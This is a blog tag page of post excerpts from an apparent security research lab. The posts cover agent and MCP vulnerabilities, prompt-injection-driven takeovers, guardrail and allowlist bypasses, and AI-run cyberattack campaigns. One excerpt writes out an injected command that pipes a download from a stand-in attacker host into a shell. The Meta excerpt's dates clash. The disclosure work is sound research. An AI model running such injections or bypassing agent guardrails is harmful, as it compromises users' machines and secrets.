Skip to main content

12 posts tagged with "Agent Security"

Agent Security

View All Tags

You Give SSRF a Bad Name: SSRF to Secret Exfiltration via Tenant-Controlled Workflow URLs in Agenta (CVE-2026-123786)

· 8 min read
Bandana Kaur
APISec Research Labs

This is a story about one smooth-talking URL field that broke the vault's heart…

Agenta is where teams go to build, evaluate, and ship LLM apps without hand-crafting the whole LLMOps stack. It also, until v0.122.5, let any teammate with workflow-edit rights type a URL into a config field and have the platform dial it to follow the redirect, attach a privileged credential, and report back whatever answered. So if you point that field at a laptop in a coffee shop, the laptop gets a secret-resolve token and if you point it at 169.254.169.254, it gets the cloud.

That one input field has major pick-me energy, and in this article, we'll explore exactly how and what that could potentially lead to.

Inside the Vulnpocalypse: Are autonomous AI hackers script kiddies?

· 9 min read
Bandana Kaur
APISec Research Labs

For about two years, we were promised that AI would supercharge cyberattacks into something so potent humanity had never seen before. In 2025 and 2026, many started believing the doom had started, when autonomous agents stopped being a tabletop scenario and started showing up in real incident reports as the thing doing the hacking, and not just amplifying social engineering attacks.

Anthropic disrupted a Chinese state-sponsored espionage campaign tracked as GTG-1002 in which a jailbroken Claude Code ran most of an operation against roughly thirty tech, finance, chemical, and government orgs, with the company estimating the AI handled 80–90% of the work[1]. Sysdig documented what they called the first ransomware campaign driven end-to-end by a model rather than a person, nicknamed JADEPUFFER[2]. Palo Alto's Unit 42 caught an opportunistic operator who wired a model into an open-source agent framework and pointed it at 460-plus targets across several countries[3]. Someone ran an AI agent unattended inside Thailand's Ministry of Finance[4]. And in the most "we live in a simulation" entry, a low-skill operator gave Claude and Codex some vague prompts and let the agents breach 14+ companies while he…mostly just watched[5].

Light It Up: Agentic Guardrail Bypass to Code Execution in FastLED's MCP Server (CVE-2026-78812)

· 7 min read
Bandana Kaur
APISec Research Labs

FastLED is the library you reach for when you want LEDs to do cheerful things. Its repository also ships an MCP server that will run a command on your machine if an AI agent asks it to.

Suppose there is an AI agent, encountering an external instruction to run a "setup" command. The agent passes it to FastLED's MCP server, which executes it as the developer, with their source code, tokens, and SSH keys in reach. The one guardrail the project has for this lives in a different layer, matches on text, and does not recognize a Python one-liner carrying a hex-encoded payload.

CVE-2026-108953: OS Command Injection by Whitelist Bypass in mac-shell-mcp

· 7 min read
Bandana Kaur
APISec Research Labs

mac-shell-mcp is an MCP (Model Context Protocol) server that gives AI agents a controlled shell on macOS. It ships a command whitelist containing things like ls, pwd, cat, meant to keep the agent from running anything dangerous.

Because execFile was invoked with shell: true, an attacker or a poisoned client could call a whitelisted command like pwd and append ; curl attacker.com/x | sh in the arguments. The shell interpreted the metacharacters, the whitelist never saw the injected command, and the MCP server executed it as the local user.

What Does Your MCP Attack Surface Look Like From the Outside?

· 9 min read
Bandana Kaur
APISec Research Labs

What is the first step of attacking an MCP server? Nearly every single one answers a question for free, to anyone who asks: what can you do here? The response, tools/list, is usually treated as a harmless discovery mechanism. We wanted to challenge that and see how far schema-based recon can really get us. A tool list is a capability disclosure, and reading it carefully, without ever calling a single tool, can tell you more about a server's risk than you'd expect. This article develops a threat model for exactly that, then we test it against 234 public MCP servers to see how much of it holds up.

Hijacking Google ADK Using Malicious A2A Peers

· 9 min read
Bandana Kaur
APISec Research Labs

Multi-agent systems are starting to look a lot like distributed systems with personalities, tools, and very different privilege levels. In Google ADK, we found that a remote A2A peer could supply forged control metadata that influences agent routing, session state, and even conversation history, creating a path for a fresh sort of privilege escalation. As AI agents gain more autonomy and access to real tools, how much trust should a framework place in control instructions that arrive from another agent?

Trust Me, Bro: Forging Security Labels in Microsoft's FIDES Middleware

· 9 min read
Bandana Kaur
APISec Research Labs

Most downstream consequences of prompt injections in agentic systems are caused by confused deputy problems, where an AI model treats untrusted input as authoritative instructions. Since there's no solution for prompt injection (yet), AI agents are now entering deterministic, provenance-based trust models using integrity labels to defend against untrusted (potentially malicious) actors influencing actions. But every label-based security system lives or dies on one question: when something claims to be trusted, who's actually vouching for it? Get that part right and you have SPF, DKIM, TLS, decades of infrastructure that just works. Get it wrong and you have spoofed email, forged certs, and a rather unpleasant afternoon.

Catfishing the Allowlist: Introducing MCP Security's Argument Injection Blind Spot

· 8 min read
Bandana Kaur
APISec Research Labs

An MCP server locks down its shell tool to a single allowed binary: git. Nothing else can run, seems safe. Except that binary itself has a built-in escape hatch, and nobody checked whether the allowlist covers arguments, not just executables. It doesn't. It never really can. The allowlist swiped right on git without ever checking what it was bringing to the date.

All That Glitters Isn't Prompt Injection: Rethinking The Meta Instagram Takeover

· 7 min read
Bandana Kaur
APISec Research Labs

A one-sentence message was enough to hijack accounts worth six figures on the resale market. A senior Space Force officer's Instagram account, the dormant Obama-era White House handle, and a six-figure username market all fell to the same three-month-old bug. The headlines called it prompt injection, but is that actually what happened?

In March 2026, Meta rolled out a fully agentic AI support assistant across Facebook and Instagram. This was not a chatbot that simply answers questions, but one with operational privileges, including the ability to act on account recovery requests directly. By February, attackers had already found the gap, and the exploit only needed a sentence.